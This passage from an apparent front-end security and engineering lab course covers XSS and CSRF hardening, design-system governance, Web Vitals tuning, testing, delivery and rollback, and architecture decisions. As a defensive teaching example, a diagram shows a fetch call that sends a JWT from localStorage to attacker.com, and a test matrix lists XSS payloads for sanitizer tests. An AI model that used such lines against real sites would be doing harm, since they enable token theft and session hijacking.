subgraph PatternA["Vulnerable Pattern: Bearer Token in localStorage"]
T1["Client receives JWT Access Token"] --> T2["Stores token in localStorage.setItem('jwt', token)"]
T2 --> T3["Any XSS vulnerability or rogue npm dependency can execute:\nfetch('https://attacker.com/log?t=' + localStorage.getItem('jwt'))"]
end
subgraph PatternB["Hardened Pattern: Backend-for-Frontend (BFF)"]
B1["Browser communicates strictly via HttpOnly, Secure, SameSite Cookie"]
B1 --> B2["Same-Origin BFF Gateway (Node.js / Go)"]
B2 --> B3["BFF stores OAuth Access & Refresh tokens in private encrypted session"]
B3 --> B4["BFF attaches Bearer token when forwarding calls to downstream microservices"]
endVerification and Testing Matrix
Validate your implementations against these required test assertions in tests/security.test.ts:
| Test ID | Vulnerability / Target | Verification Procedure | Expected Security Outcome |
|---|---|---|---|
| SEC-01 | Reflected XSS in search input | Feed <script>alert(1)</script> into renderSearchSummarySafe | Rendered as plain text; zero script elements in DOM. |
| SEC-02 | HTML Attribute Event Injection | Feed <img src=x onerror=alert(1)> into renderRichMunicipalAnnouncement | DOMPurify strips onerror; tag rendered safely or removed. |
| SEC-03 | javascript: URI Injection | Feed <a href="javascript:steal()">Click</a> into DOMPurify | javascript: protocol stripped; link neutralized. |
| SEC-04 | Cookie Security Attributes | Inspect generateSessionCookie output | httpOnly === true, secure === true, sameSite === 'Lax'. |
| SEC-05 | CSRF Header Gate | Pass request headers without x-csrf-token to mutation verifier | Request rejected with HTTP 403 Forbidden. |
| SEC-06 | Server-Side Authorization | Inspect simulated client-side route guard | Verify client guard only controls UI display; API verifies JWT scopes. |
Deliverables & Submission Checklist
-
src/secureSearch.ts: Hardened rendering functions utilizing safe text nodes and DOMPurify. -
src/corsVerification.ts: Documented analysis of browser CORS enforcement mechanics. -
src/csrfProtection.ts: Secure cookie generator and custom header CSRF validation logic. -
tests/security.test.ts: Automated test suite passing all 6 assertions in the verification matrix. - Architectural brief summarizing why client-side route guards can never enforce security authorization.
14 - Design-System Package Governance and Ownership Mapping
Practical 14 - Design-System Package Governance and Ownership Mapping
Related: Chapter 14 · Lecture slides
Objective
Design, package, and govern a shared Design System UI package (@municipal/ui) consumed by a municipal citizen application (apps/citizen-portal) in a monorepo workspace.
By completing this laboratory, you will:
- Architect a Two-Tier Token Pipeline: Separate raw palette constants from semantic intent tokens using CSS Custom Properties.
- Enforce Component Purity: Implement reusable, accessible UI primitives that remain 100% agnostic of municipal domain logic.
- Manage a Breaking API Deprecation Lifecycle: Execute a backwards-compatible SemVer release, providing deprecation console warnings and an automated migration path.
- Define Team Ownership Boundaries: Create a formal RACI governance matrix preventing design system packages from becoming dumping grounds for product-specific code.
flowchart TD
subgraph DesignSystemPackage["packages/ui (Design System Platform Team)"]
Tokens["1. Design Tokens\n(Raw: blue-600 → Semantic: action-primary)"]
Primitives["2. Reusable Primitives\n(Button, Modal, TextInput, Badge)\n*Zero municipal domain knowledge*"]
Tokens --> Primitives
end
subgraph ConsumingApplication["apps/citizen-portal (Product Feature Team)"]
ProductFeature["3. Domain Components\n(PermitFeeCalculator, ViolationAuditCard)\n*Binds domain logic to UI primitives*"]
end
Primitives -->|Consumed via workspace package| ProductFeatureWorkspace Setup
Initialize a lightweight monorepo workspace:
Configure package.json with native npm/pnpm workspaces:
Stage-by-Stage Implementation
Stage 1: Two-Tier Design Tokens
In packages/ui/src/tokens.css, define raw platform values and semantic intent tokens:
Stage 2: The Domain-Agnostic UI Primitive
In packages/ui/src/Button.tsx, build a primitive button. It must know nothing about permits, tax bills, or citizen records:
Stage 3: Consuming in Product Application
In apps/citizen-portal/src/PermitFeeCard.tsx, the product team composes the primitive into their domain workflow:
Stage 4: Package Boundary & Versioning Governance
Configure packages/ui/package.json to expose a clean, encapsulated public API:
The Package Boundary Rule:
Consumers can only import from exposed entry points (@municipal/ui and @municipal/ui/tokens.css). Internal implementation files (packages/ui/src/internalHelpers.ts) cannot be reached, preserving the platform team’s freedom to refactor internals without breaking consuming apps.
Stage 5: Design System Team Ownership (RACI Matrix)
To eliminate organizational friction, document the RACI Ownership Map in packages/ui/GOVERNANCE.md:
| Architectural Element | Design System Platform Team | Product Feature Teams | UX / Accessibility Council |
|---|---|---|---|
| Raw & Semantic Tokens | Accountable (A) | Consulted (C) | Responsible (R) |
UI Primitives (Button, Modal) | Responsible & Accountable (R/A) | Consulted (C) | Informed (I) |
Domain Components (PermitFeeCard) | Informed (I) | Responsible & Accountable (R/A) | Consulted (C) |
| SemVer Major Releases | Responsible & Accountable (R/A) | Consulted (C) | Informed (I) |
Verification and Testing Matrix
| Test ID | Test Scenario | Verification Procedure | Pass Criteria |
|---|---|---|---|
| PKG-01 | Token Abstraction | Check CSS output for --color-action-primary | Resolves to semantic CSS custom property; raw hex is not hardcoded in component. |
| PKG-02 | Domain Isolation | Grep packages/ui/src/ for “permit” or “tax” | Zero occurrences found; primitives are 100% domain-agnostic. |
| PKG-03 | Deprecation Warning | Render <Button variant="danger"> in test environment | Logs single deprecation warning to console; renders with critical tone styles. |
| PKG-04 | Package Encapsulation | Attempt import from '@municipal/ui/src/internalHelper' | TypeScript & Bundler reject with package export encapsulation error. |
| PKG-05 | Accessibility Baseline | Test <Button isLoading={true}> | Renders aria-busy="true" and disabled attribute. |
Deliverables & Submission Checklist
-
packages/ui/src/tokens.css: Two-tier raw and semantic design tokens with dark-mode remapping. -
packages/ui/src/Button.tsx: Accessible primitive with deprecation handling and loading state. -
packages/ui/package.json: Encapsulated"exports"configuration with explicit CSS side-effects. -
apps/citizen-portal/src/PermitFeeCard.tsx: Consuming domain component. -
packages/ui/GOVERNANCE.md: Documented RACI team ownership matrix.
15 - Measure, Diagnose, and Optimize Core Web Vitals
Practical 15 - Measure, Diagnose, and Optimize Core Web Vitals
Related: Chapter 15 · Lecture slides
Objective
Diagnose, instrument, and remediate a deliberately degraded municipal web application suffering from severe real-world performance defects:
- Poor LCP (4.8s): An uncompressed, non-prioritized hero banner image buried in an asynchronous client waterfall.
- Severe CLS (0.38): Layout shifts caused by unsized images and late-injected municipal emergency announcements.
- Sluggish INP (380ms): A long task on the main thread executing expensive synchronous sorting on every filter keystroke.
- DOM Bloat & Memory Jitter: A 5,000-row table rendering tens of thousands of active DOM nodes.
You will formulate hypotheses, capture baseline DevTools traces under 4x CPU throttling, apply targeted architectural remedies, and verify that the 75th percentile (p75) metrics meet Google Core Web Vitals standards.
flowchart LR
subgraph Diagnosis["1. Diagnostic Phase"]
Trace["Capture Performance Profile\n(4x CPU Throttle, Fast 3G)"]
Metrics["Record Baselines:\nLCP = 4.8s, INP = 380ms, CLS = 0.38"]
end
subgraph Remediation["2. Engineering Remediation"]
LCP_Fix["LCP Fix: AVIF/WebP, preload, fetchpriority='high'"]
CLS_Fix["CLS Fix: aspect-ratio & reserved container height"]
INP_Fix["INP Fix: Yielding via scheduler.yield() & debouncing"]
DOM_Fix["DOM Fix: Windowed Virtual Scroller (30 active rows)"]
end
subgraph Verification["3. Verification Phase"]
Pass["Verified Targets (p75):\nLCP < 2.2s, INP < 75ms, CLS < 0.02"]
end
Diagnosis --> Remediation --> VerificationWorkspace Setup
Set up a local performance testing sandbox:
Stage-by-Stage Implementation
Stage 1: The Bottleneck Baseline & Native Instrumentation
In src/telemetry.ts, implement in-browser Core Web Vitals monitoring using the native PerformanceObserver API:
Baseline Capture Instructions:
- Start the development server (
npx vite). - Open Chrome DevTools, open the Performance tab, and configure:
- CPU: 4x slowdown (simulating a mid-tier Android device).
- Network: Fast 3G.
- Record a 5-second trace while reloading the page, typing “commercial” into the search bar, and scrolling the permit table.
- Record your baseline metrics:
- LCP: ~4,800 ms (Poor)
- INP: ~380 ms (Poor)
- CLS: ~0.380 (Poor)
Stage 2: Remediating LCP (Largest Contentful Paint)
The Diagnosis:
In the Performance trace, the LCP element is a municipal hero banner. The trace reveals a massive Resource Load Delay: the browser does not discover the image URL until after app.js downloads, parses, and fetches /api/config.json.
The Architectural Fix:
- Hoist the LCP image into the initial static HTML document.
- Add
<link rel="preload">in the document<head>. - Set
fetchpriority="high"and supply responsive modern formats:
Stage 3: Eliminating Cumulative Layout Shift (CLS)
The Diagnosis:
The trace reveals two major layout shifts:
- The hero image has no reserved aspect ratio, collapsing to 0px height before abruptly expanding to 400px when the image decodes.
- A municipal emergency notification banner is injected dynamically at the top of the viewport 800ms after load, pushing all main content down by 75 pixels.
The Architectural Fix:
- Enforce aspect-ratio reservation in CSS.
- Reserve dedicated layout slots for late-injected dynamic content:
Stage 4: Taming Interaction to Next Paint (INP)
The Diagnosis:
When a user types into the permit filter input, the browser freezes for 320ms. The Performance flame chart shows a single Long Task (>50ms) executing expensive regex matching and sorting over an array of 5,000 objects synchronously on the main thread during the keydown event.
The Architectural Fix:
- Provide immediate, zero-latency visual feedback for the user’s keystroke.
- Yield execution back to the browser’s rendering engine using
scheduler.yield()(or asetTimeout(0)microtask fallback) so the browser can paint the typed letter before calculating the heavy list:
Stage 5: Virtualizing the Large Permit Table
The Diagnosis:
Rendering 5,000 table rows generates 35,000 DOM nodes. Every DOM manipulation triggers heavy recalculations, and scrolling stutters at 24fps.
The Architectural Fix:
Implement a Virtual Windowed Scroller that renders only the ~30 visible rows currently inside the viewport:
Verification and Testing Matrix
Record your Before and After measurements under identical throttling conditions (4x CPU, Fast 3G):
| Performance Metric | Baseline (Broken) | Target Threshold | Remediated (Measured) | Status |
|---|---|---|---|---|
| LCP (Largest Contentful Paint) | 4,800 ms | $\le$ 2,500 ms | ~1,650 ms | PASS |
| INP (Interaction to Next Paint) | 380 ms | $\le$ 200 ms | ~55 ms | PASS |
| CLS (Cumulative Layout Shift) | 0.380 | $\le$ 0.100 | 0.012 | PASS |
| Active DOM Node Count | 35,420 nodes | $\le$ 1,500 nodes | 420 nodes | PASS |
| Total Blocking Time (TBT) | 890 ms | $\le$ 200 ms | ~40 ms | PASS |
Deliverables & Submission Checklist
-
src/telemetry.ts: Working nativePerformanceObserverimplementation for LCP, INP, and CLS. -
index.html: Optimized LCP markup with<link rel="preload">,fetchpriority="high", and AVIF/WebP<picture>. -
src/styles.css: CSS rules enforcingaspect-ratioandmin-heightslot reservations. -
src/searchEngine.ts: Yielding filter function eliminating long tasks usingscheduler.yield(). -
src/virtualTable.ts: Functional virtual scroller maintaining active DOM nodes under 1,000. - Completed Verification and Testing Matrix documenting verified p75 improvements.
16 - Resilient UI Integration Suite
Practical 16 - Resilient UI Integration Suite
Related: Chapter 16 · Lecture slides
Objective
Build a multi-layered, resilient testing suite for an interactive civic services catalogue and application drafting workflow. The application must operate robustly across unreliable cellular connections, asynchronous race conditions, optimistic mutations, and keyboard-driven assistive technology.
Rather than relying on brittle end-to-end tests or shallow unit tests that mirror framework implementation details, you will design a testing strategy centered on risk management, accessible platform contracts, stable network boundaries, and deliberate fault injection.
flowchart TD
subgraph Pyramid["Testing Strategy Layers"]
direction TB
Unit["Stage 1: Pure Logic Unit Tests\n(Validation, Currency Math, URL Parsers)"]
Component["Stage 2: Component Semantic Tests\n(Testing Library, getByRole, Keyboard/Focus)"]
Boundary["Stage 3: Transport Boundary Mocking\n(MSW Interception, 500 Errors, Latency)"]
Fault["Stage 4: Asynchronous Resilience & Fault Injection\n(Races, Cancellation, Optimistic Rollback)"]
E2E["Stage 5: Playwright Critical-Path Journey\n(Real Browser Engines, Artifact Traces)"]
Unit --> Component --> Boundary --> Fault --> E2E
endThe Scenario Matrix
Your test suite must validate all seven critical user experience states in the civic catalogue matrix. In Stage 4, you will intentionally inject code defects to prove that your assertions detect every failure mode.
| Scenario | Trigger / User Action | Expected Observable Outcome | Intentionally Injected Fault (Stage 4) |
|---|---|---|---|
| 1. Loading State | User initiates service search | Skeleton placeholder displayed; search button displays aria-busy="true" and is disabled | Skeleton omitted; button remains active, causing duplicate submissions |
| 2. Empty Results | User queries non-existent service ("xyz999") | Accessible status banner announced (role="status"); suggests clearing filters | Component renders blank white screen without user notification |
| 3. Server Error | Backend returns 500 Internal Server Error | Inline error alert (role="alert") appears; previous search results remain preserved; retry button displayed | Unhandled promise rejection crashes application; blank error screen |
| 4. Cancellation & Race | Rapid typing: "lic" then "license" | Query "lic" aborted via AbortController; only results for "license" render in DOM | Component ignores abort signal; slow "lic" response overwrites "license" |
| 5. Optimistic Rollback | User toggles “Bookmarked”; server rejects mutation | Star icon immediately fills; upon 500 response, icon un-fills and error toast appears | Star icon remains permanently filled despite server failure |
| 6. Form Validation | Submitting empty required email field | Field highlighted with aria-invalid="true"; error text linked via aria-describedby; focus moves to field | Plain CSS class .error applied without ARIA attributes or focus management |
| 7. Keyboard Navigation | User presses Tab, ArrowDown, Escape | Focus moves through controls in logical order; Escape dismisses modal and restores focus to trigger | Modal traps focus permanently or focus drops to document.body upon dismissal |
Workspace Setup
Initialize a modern testing workspace using Vitest, Testing Library, MSW (Mock Service Worker), and Playwright:
Configure vitest.config.ts:
Stage-by-Stage Implementation
Stage 1: Pure Logic & Parser Unit Testing
Begin at the base of the testing pyramid by validating deterministic business rules in isolation. These tests run in pure Node without DOM simulation overhead, providing sub-millisecond feedback.
- Service Fee Calculation & Formatting:
Create
src/domain/fees.tsto calculate municipal administrative charges, VAT, and fee waivers. - URL Filter Serialization:
Create
src/domain/urlParams.tsto serialize and parse search parameters (?category=transport&page=2&sort=name_asc). - Unit Test Suite (
src/domain/fees.test.ts):- Test standard fee calculation across positive, zero, and boundary values.
- Test invalid fee inputs (negative charges, non-numeric strings) ensuring they throw descriptive domain errors.
- Test URL query parameter round-trip consistency:
parseQueryParams(serializeQueryParams(filters)) === filters.
Stage 2: Component Testing with Accessible Semantics
Move up to the component boundary. Render interactive UI components into a simulated DOM (jsdom) and interact with them strictly through user-facing accessibility contracts (getByRole, getByLabelText, and @testing-library/user-event).
- Implement the Service Search Form (
src/components/ServiceSearch.ts):- Provide an input associated with
<label for="service-query">Search civic services</label>. - Provide a submit button with accessible name
"Search". - Manage keyboard focus and accessible error announcements.
- Provide an input associated with
- Write Accessible Interaction Tests (
src/components/ServiceSearch.test.ts):- Verify that form controls are queryable by role and accessible name, not by class names (
.search-input) or internal component state. - Verify that clicking submit with an empty query announces an accessible validation error linked via
aria-describedby. - Test keyboard interaction: pressing
Entersubmits the form; pressingEscapeclears the input and restores focus.
- Verify that form controls are queryable by role and accessible name, not by class names (
Stage 3: Boundary Mocking with Mock Service Worker (MSW)
Do not mock internal JavaScript modules or replace global window.fetch with simplistic stubs. Instead, intercept HTTP requests at the network transport layer using Mock Service Worker (MSW). This tests your real HTTP client, request serialisation, status code handling, and response decoding.
- Configure MSW Server (
src/test/mocks/server.ts): Define canonical handlers for/api/v1/servicesand/api/v1/services/:id/bookmark. - Simulate Edge-Case Network Boundaries:
- Happy Path: Return 200 OK with catalog items.
- Slow Network: Delay responses by 500ms to test loading spinners.
- Server Outage: Return 500 Internal Server Error to test error banners and retry actions.
- Corrupt Payloads: Return malformed JSON to test schema validation fallbacks.
Stage 4: Asynchronous Resilience & Fault Injection
Now connect your components to the MSW network boundary to test complex asynchronous flows. To ensure your tests provide genuine resilience rather than false confidence, perform deliberate fault injection.
- Test Request Cancellation & Race Conditions:
Simulate a user rapidly typing
"pas"followed by"passport". Ensure that Request 1 is aborted withAbortController, preventing a slow response from clobbering the newer search result. - Test Optimistic UI Updates with Server Rollback: When the user bookmarks a service, update the UI immediately. If the server responds with a 500 error, assert that the UI reverts to the un-bookmarked state and announces an accessible error message.
- Fault Injection Verification:
- Fault A: In
ServiceSearch.ts, comment outabortController.abort(). Run the race test and verify it fails. - Fault B: In
BookmarkButton.ts, remove the rollback logic oncatch. Run the optimistic rollback test and verify it fails.
- Fault A: In
Stage 5: Playwright Critical-Path Browser Journey
Unit and component tests verify logic and simulated DOM behavior, but they cannot prove that the layout engine, CSS stacking contexts, cookies, and real browser event loops function seamlessly together.
Create a Playwright end-to-end smoke test covering the critical citizen journey in real Chromium, Firefox, and WebKit engines:
- Create
e2e/catalogue-journey.spec.ts:- Navigate to the catalogue route.
- Perform a search and select a service.
- Fill out an application form using keyboard tab stops.
- Verify modal dialog focus trapping and dismissal via
Escape. - Trigger a simulated offline network disconnect and confirm that draft data is saved to
localStorage.
- Configure Failure Artifacts in
playwright.config.ts:- Capture full screenshots, videos, and Playwright execution traces (
trace: "on-first-retry") on test failure.
- Capture full screenshots, videos, and Playwright execution traces (
Verification & Self-Assessment
Run your full test battery and confirm all stages pass:
Observable Verification Criteria
| Verification Item | Action | Expected Pass Output |
|---|---|---|
| No Private State Inspection | Grep test files for component.state or wrapper.vm | Zero matches found; tests interact solely via DOM roles and text |
| Semantic Queries | Grep test files for .querySelector(".btn") | Zero class-based UI queries; all buttons queried via getByRole("button") |
| No Arbitrary Sleeps | Grep test files for setTimeout or sleep(1000) | Zero arbitrary timeouts; all async assertions use waitFor or findBy* |
| MSW Network Boundary | Inspect Vitest setup | Zero global fetch = vi.fn() mocks; all HTTP requests handled by MSW handlers |
| Fault Injection | Run tests against injected defects from Stage 4 | All 3 injected faults cause immediate test failure with descriptive assertions |
| Playwright Traces | Inspect test-results/ on forced E2E failure | Complete trace zip produced containing DOM snapshots, console logs, and network timeline |
Grading Rubric
| Criterion | Points | Evaluation Requirement |
|---|---|---|
| Domain Logic Isolation | 20% | Pure math, fee calculation, and URL serialization thoroughly unit-tested without DOM dependencies. |
| Accessible Component Semantics | 25% | Form controls queried strictly via getByRole and getByLabelText; validation errors associated via aria-describedby. |
| Network Boundary Mocking | 20% | Network layer intercepted via MSW; handles loading skeletons, 500 error recovery, and empty states. |
| Asynchronous Race & Rollback Resilience | 20% | Verifies AbortController cancellation under rapid typing; verifies optimistic mutation rollback upon server failure. |
| Playwright End-to-End Suite | 15% | Critical path tested in real headless browser; verifies focus trap, Escape key restoration, and trace artifacts on failure. |
17 - Delivery, Observability, and Rollback Loop
Practical 17 - Delivery, Observability, and Rollback Loop
Related: Chapter 17 · Lecture slides · Appendix C: Production Deployment Checklist
Objective
Design, execute, and rehearse an automated, safe front-end delivery and operational loop. Rather than treating deployment as an unverified “push to production” or assuming that passing tests guarantee operational safety, you will construct a delivery pipeline that:
- Builds an immutable, content-hashed artifact tied to an exact Git commit SHA.
- Enforces strict CI verification gates, including automated secret scanning and bundle size budgets.
- Injects immutable release identity metadata to correlate runtime client telemetry.
- Instruments a PII-safe client-side observability collector that captures unhandled exceptions, Core Web Vitals, and user interaction breadcrumbs.
- Executes a simulated production incident and rollback rehearsal, verifying that reverting the deployed static assets does not break local client state compatibility or corrupt backend data contracts.
flowchart TD
subgraph Pipeline["Continuous Delivery & Observability Lifecycle"]
direction TB
S1["Stage 1: Immutable Artifact Production\n(Vite build, contenthash, release-manifest.json)"]
S2["Stage 2: CI Verification & Secret Scanning\n(Typecheck, lint, bundle budgets, zero leaked tokens)"]
S3["Stage 3: Preview Environment & Release Identity\n(Isolated PR URL, window.__RELEASE_INFO__)"]
S4["Stage 4: Client Observability & PII Masking\n(Telemetry collector, error boundaries, breadcrumbs)"]
S5["Stage 5: Incident Rehearsal & Safe Rollback\n(Simulated crash, SLO alert, CDN revert, data compatibility)"]
S1 --> S2 --> S3 --> S4 --> S5
endWorkspace Setup
Initialize a modern delivery sandbox using Vite, TypeScript, and a lightweight local static web server to simulate CDN and edge environments:
Stage-by-Stage Implementation
Stage 1: Immutable Reproducible Artifact & Manifest Generation
In continuous delivery, you must build once and promote the exact same artifact across preview, staging, and production environments. Never rebuild assets from source for each separate environment.
- Configure Content-Hashed Asset Bundling (
vite.config.ts): Ensure all JavaScript, CSS, and asset filenames include cryptographic content hashes ([name].[hash].js). This guarantees that older versions can remain cached indefinitely on the CDN without cache collisions during rolling deployments. - Generate
release-manifest.jsonat Build Time: Write a build hook inscripts/generate-manifest.jsthat records:releaseId: The Git commit hash (or simulated semantic release identifier, e.g.v2.4.0-a9f3c1).buildTimestamp: ISO 8601 UTC timestamp.environment: Target tier (preview,staging, orproduction).entrypointChunk: The exact hashed path of the primary entry bundle (assets/index-a9f3c1b8.js).bundleSizes: File size breakdown to detect unexpected code bloat.
Stage 2: Automated CI Verification & Secret Scanning
A reliable delivery pipeline halts before publishing if code violates quality gates or leaks private security credentials.
- Implement Bundle Budget Enforcement (
scripts/check-budget.js): Read the compiled output indist/assets/. If total uncompressed JavaScript exceeds 200 KB, fail the build with an actionable error. - Pre-Commit Secret Scanning Gate (
scripts/scan-secrets.js): Front-end client bundles are public to the entire internet. Write an automated scan regex that searches all source files and environment files (.env*) for:- Private keys (
BEGIN PRIVATE KEY,AWS_SECRET_ACCESS_KEY). - Unprefixed environment variables. Only variables explicitly prefixed with
VITE_PUBLIC_orNEXT_PUBLIC_may be included in client bundles. - Ensure that if an engineer attempts to commit a database password or private stripe key, the CI check exits with code 1.
- Private keys (
Stage 3: Preview Environments & Release Identity Injection
To diagnose production issues without guessing which code version a user is running, embed immutable release identity metadata directly into the client runtime.
- Inject Runtime Release Metadata (
src/config/release.ts): Expose an immutable global object onwindow.__RELEASE_INFO__containing the release version, commit SHA, and environment name. - Private Source Map Handling:
Configure Vite to generate source maps (
sourcemap: "hidden"). The.mapfiles are generated on disk for upload to a secure, private error-tracking server (e.g., Sentry), but the//# sourceMappingURL=comment is stripped from the public bundle. This allows on-call engineers to read de-minified stack traces without exposing proprietary code to the public web.
Stage 4: Client Observability, Telemetry & PII Masking
Server logs only capture HTTP requests that successfully reach the backend; they cannot detect client runtime crashes, syntax errors, or UI thread freezes.
Implement a lightweight, zero-dependency client telemetry module (src/observability/telemetry.ts):
- Global Unhandled Error Capture:
Listen to
window.onerrorandwindow.onunhandledrejection. Extract the error name, message, stack trace, and active route. - User Interaction Breadcrumbs: Maintain a ring buffer of the last 15 user actions (clicks on buttons, route changes, API request start/finish markers) to reconstruct user journeys leading up to a crash.
- Data Minimization & PII Redaction:
Before beaconing any error payload, scrub:
- Form inputs with
type="password", name"card", or name"nationalId". - Query parameter tokens (e.g.
?token=...,?key=...).
- Form inputs with
- Resilient Beaconing:
Transmit telemetry using
navigator.sendBeacon("/api/telemetry/errors", JSON.stringify(payload)), ensuring messages are delivered even if the user immediately closes the browser tab.
Stage 5: Simulated Disaster Rehearsal & Safe Rollback
A rollback plan that has never been tested is not a rollback plan - it is wishful thinking. In this stage, you will rehearse a full incident recovery cycle:
- Inject a Fatal Production Regression into v2.4:
In
src/pages/ApplicationForm.ts, inject a syntax or runtime exception that triggers when users click “Submit Application” (e.g. invoking an undefined function or invalid regular expression). - Observe the Canary Failure:
Simulate user traffic hitting the deployed application. Verify that client telemetry records the error spike, tags it with
v2.4.0-a9f3c1, and captures the relevant breadcrumb trail. - Execute the Rollback:
Trigger the rollback script (
scripts/rollback.shor local routing switch) to point the edge web server back to the v2.3.0 directory. - Data Compatibility Verification:
Verify what a “successful rollback” actually means:
- Artifact Rollback vs Data Compatibility: Confirm that users who loaded v2.4 did not have their local client state (
localStorage['app_draft']) corrupted into an unparseable schema that crashes v2.3. - API Schema Backwards-Compatibility: Confirm that any pending backend requests sent by v2.4 can still be processed or cleanly rejected without breaking v2.3 client sessions.
- Artifact Rollback vs Data Compatibility: Confirm that users who loaded v2.4 did not have their local client state (
- Draft a Blameless Post-Mortem: Document the incident timeline: Time to Detect (TTD), Time to Mitigate (TTM), root cause, and preventative CI gate additions.
sequenceDiagram
autonumber
actor User as Citizen User
participant App as Web App (v2.4.0)
participant Telemetry as Telemetry Collector
actor OnCall as On-Call Operator
participant Edge as Edge Web Server
User->>App: Clicks "Submit Application"
Note over App: Uncaught TypeError in Form Submit Handler!
App->>Telemetry: sendBeacon: { release: "v2.4.0", error: "TypeError", breadcrumbs }
Telemetry-->>OnCall: High-Priority Pager Alert: Form Error Rate = 12% (>0.5% SLO)
OnCall->>OnCall: Inspect breadcrumbs: all failures occur in v2.4.0 submission chunk
OnCall->>Edge: Switch active traffic alias from v2.4.0 to v2.3.0
Edge-->>User: Next page request serves v2.3.0 (Rollback complete: 2 minutes)
User->>App: Retries form on v2.3.0; submission succeeds without data lossVerification & Self-Assessment
Run your delivery verification battery:
Observable Verification Criteria
| Verification Item | Action | Expected Pass Output |
|---|---|---|
| Reproducible Artifact | Inspect dist/ | All asset files contain content hashes; release-manifest.json matches commit SHA |
| Secret Scanning | Inject dummy private key into source and run scanner | CI build aborts with exit code 1; identifies file and offending line |
| Bundle Budget | Run scripts/check-budget.js | Confirms JavaScript bundle size is within the 200 KB threshold |
| Telemetry PII Scrubbing | Submit form with email and password, inspect telemetry payload | Password and token fields are completely redacted ([REDACTED]) |
| Rehearsed Rollback | Execute rollback script | Traffic reverts to previous release in under 60 seconds; no local client crashes |
| Appendix C Audit | Cross-reference Appendix C Checklist | All Section 1 (Build Integrity) and Section 5 (Observability) items checked |
Grading Rubric
| Criterion | Points | Evaluation Requirement |
|---|---|---|
| Artifact Reproducibility | 20% | Production bundle uses immutable content hashes; generates complete release-manifest.json. |
| CI Gates & Secret Scanning | 20% | CI pipeline enforces type checks, bundle budgets, and blocks leaked private credentials. |
| Release Identity & Source Maps | 20% | Injects window.__RELEASE_INFO__; source maps are generated for private server upload without public leakage. |
| Client Observability & PII Safety | 20% | Global error handlers capture exceptions and breadcrumbs via sendBeacon; scrubs PII before transmission. |
| Incident Rehearsal & Rollback | 20% | Simulates production incident, executes rollback, validates localStorage schema compatibility, and writes post-mortem. |
18 - Make and Defend an Architecture Decision
Practical 18 - Make and Defend an Architecture Decision
Related: Chapter 18 · Lecture slides · Appendix A: Rosetta Stone · Appendix C: Deployment Checklist
Objective
Formulate, evaluate, benchmark, and document a major front-end architectural decision for an enterprise-scale public service platform. You will evaluate competing technical options against explicit organizational constraints and quality attributes, conduct a focused technical spike to resolve an empirical unknown, write a formal Architectural Decision Record (ADR), and define automated fitness functions and quantitative review triggers.
You will be evaluated on the rigor of your reasoning, the fidelity of your trade-off analysis, and your empirical evidence - not on whether you choose a trendy framework or adopt complex distributed patterns by default.
flowchart TD
subgraph ADRLifecycle["The Architectural Decision Lifecycle"]
direction TB
S1["Stage 1: Context, Forces & Constraints\n(Map 4 autonomous squads, mobile 3G users, WCAG AA, SEO)"]
S2["Stage 2: Formulate 3 Viable Candidates\n(Micro-Frontends vs. Pure CSR SPA vs. Modular Monolith with Edge SSR)"]
S3["Stage 3: Focused Empirical Spike\n(Benchmark bundle sizes & p75 LCP under 4x CPU throttling)"]
S4["Stage 4: Formal ADR & Fitness Functions\n(Context, Decision, Consequences, ESLint boundary rules)"]
S5["Stage 5: Reversal Plan & Review Triggers\n(Quantified thresholds: team size >12 squads, CI queues >30 min)"]
S1 --> S2 --> S3 --> S4 --> S5
endScenario: The Unified Regional Civic Services Platform
The Kurdistan Regional Government is consolidating disparate municipal portals into a single, unified civic platform:
- Four Autonomous Squads: Team Transport (driving permits), Team Health (clinic bookings), Team Commerce (business registration), and Team Civil (ID renewals).
- Target Audience: 70% of traffic originates from mobile devices operating over high-latency 3G/4G cellular connections across Erbil, Sulaymaniyah, and Duhok.
- Regulatory Mandates: Public municipal notices must be crawlable by search engines (SEO); all forms must strictly meet WCAG 2.1 AA accessibility standards.
- Organizational Friction: Teams want deployment autonomy without being blocked by other squads, but citizens demand a consistent visual design, shared authentication sessions, and fast initial page loads.
Stage-by-Stage Implementation
Stage 1: Context, Forces, and Constraints Mapping
Begin by documenting the architectural forces without naming any libraries or frameworks. Create docs/architecture/context.md:
- Prioritized Quality Attribute Scenarios (QAS):
- Performance (P1): Under 4x CPU throttling and Fast 3G network conditions, the 75th percentile (p75) Largest Contentful Paint (LCP) must remain below 2.0 seconds for first-time visitors.
- Accessibility (P1): 100% of interactive controls must be navigable via keyboard and expose computed accessible names.
- Autonomy (P2): Squads must be able to deploy updates to their domain routes without forcing a full redeploy of unrelated domain services.
- Operational Simplicity (P3): The deployment infrastructure must be maintainable by a small platform team without requiring dedicated Kubernetes cluster operators.
- Non-Negotiable Constraints:
- Budget constraints prohibit expensive multi-region proprietary edge compute licensing.
- Unified authentication (OAuth2 / PKCE) must be shared seamlessly across all domain routes.
Stage 2: Formulating Three Viable Candidate Architectures
Generate three genuinely viable, competing architectural options. Avoid creating straw-man options designed solely to be discarded:
| Candidate Architecture | Rendering & Routing Strategy | Code Organization & Deployment Model | Primary Trade-Off |
|---|---|---|---|
| Candidate A: Micro-Frontends | Client-Side Module Federation with host shell container. | Multi-repo; each squad deploys independent bundles to S3/CDN. | Maximum squad autonomy; high bundle bloat (duplicate framework runtimes) and high initial latency. |
| Candidate B: Client-Side SPA (CSR) | Pure client-rendered single-page app with service worker offline cache. | Single monorepo; static S3 hosting behind global CDN. | Zero server compute cost; fails public SEO requirements and suffers slow LCP on 3G. |
| Candidate C: Modular Monolith with Edge SSR | Edge-rendered hybrid (Server Components / SSR with islands of interactivity). | pnpm monorepo; shared design system; single deployable artifact. | Sub-second LCP and strong SEO; requires monorepo build governance and coordinated releases. |
Stage 3: The Investigative Technical Spike
Before committing to an architectural direction, conduct a focused empirical spike to resolve the highest-risk unknown: What is the initial payload weight and mobile FCP/LCP penalty of client-side Module Federation versus a tree-shaken Modular Monolith?
- Create a minimal spike workspace (
spikes/federation-vs-monolith/). - Build a shell container importing two remote federated components (Transport Card and Health Card).
- Build an equivalent modular monolith bundle using standard dynamic imports (
import()). - Run Lighthouse audits using Chrome DevTools with simulated Fast 3G and 4x CPU throttling.
- Record your findings in
docs/architecture/spike-01-results.md:
Stage 4: Formal Architectural Decision Record (ADR)
Using the canonical template from Chapter 18, draft ADR-018: Adoption of Modular Monolith with Edge SSR for Civic Services Platform:
Stage 5: Reversal Plan & Review Trigger Conditions
An architectural decision is not an eternal monument; it is a hypothesis validated by evidence. Define the exact conditions under which ADR-018 will be formally reopened:
Verification & Self-Assessment
Audit your architectural decision against the evaluation criteria:
